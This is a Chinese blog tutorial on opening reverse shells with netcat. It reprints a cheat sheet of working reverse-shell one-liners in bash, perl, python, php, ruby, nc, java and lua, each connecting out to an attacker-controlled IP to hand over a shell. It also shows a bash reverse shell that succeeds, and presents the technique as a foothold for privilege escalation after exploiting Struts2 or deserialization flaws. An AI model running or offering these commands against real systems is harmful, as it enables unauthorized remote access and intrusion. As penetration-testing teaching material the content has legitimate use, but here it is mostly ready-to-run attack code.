NC——反弹shell

作者: RabbitMask | 来源:发表于2018-12-21 17:16 被阅读149次

瑞士军刀netcat,这只喵的名气不言而喻,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量,今天我们来简单研究下如何使用nc反弹shell。

先来个正向shell做下对比:

nc -lvvp 1988 -e /bin/bash   
nc Rhost 1988                   //hacker

反向shell:

nc -e /bin/bash Lhost 1988
nc -lvvp 1988                   //hacker

看出为什么要用反弹shell了么,如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了,当然,如果你要做雷锋给他配个frp的话,是在下输了。
当然啦,如果目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。
然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材,网上有国外大佬整理了各种版本的shell写法,在此借鉴,并附上真·原文连接。

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

真·原文链接:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

以上内容均为靶机端配置,笔者语言广度不足没发给予一一验证了,但在这里我们简单复现下bash环境下的反弹。
bash -i >& /dev/tcp/172.16.222.81/1988 0>&1

parrot
nc -lvvp 1988
反弹shell
因为编码问题字体可能不怎么好看,但是反弹shell的确成功了。
为什么要特意讲下bash环境下的反弹shell,因为我们常会见到一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时我们权限较低,但的的确确具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。

相关文章

  • nc自启动

    例如开机自启cmd 自启nc反弹shell(一) 自启nc反弹shell(二)

  • 安全基本操作-nc反弹shell演练

    前言 在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢,一直没搞懂。今天特地本地操作下...

  • NC——反弹shell

    瑞士军刀netcat,这只喵的名气不言而喻,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量,今天我们来简...

  • linux 使用nc获取cmdshell

    0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点。 nc全称为netcat,所做的就是在两...

  • 反弹shell | nc&bash

    01 nc netcat,简称nc,一款TCP/UDP网络连接的利器,可实现任意TCP/UDP端口的侦听,被称为“...

  • 反弹shell的N种方式

    linux反弹shell总结(15种方法) 1.1发送文件(公网发内网) 文件发送端:nc -lp 6666 < ...

  • 红队攻击之流量加密小结

    SSL加密的反弹shell: 0x01 使用OpenSSL对nc进行流量加密: 生成 SSL 证书的公钥/私钥对:...

  • 小技巧-使用OpenSSL反弹加密shell

    渗透测试人员通常喜欢使用bash、python、nc等方式反弹shell。以上方式有一个共同的缺点,所有的流量都是...

  • 【安全记录】反弹shell小记

    前言 本文记录反弹shell的一些注意事项,主要包括:常用反弹shell的payload,获得tty-shell,...

  • kail工具介绍

    反弹Shell https://www.cnblogs.com/cocowool/p/reverse-shell....

网友评论

    本文标题:NC——反弹shell

    本文链接:https://www.haomeiwen.com/subject/sutvkqtx.html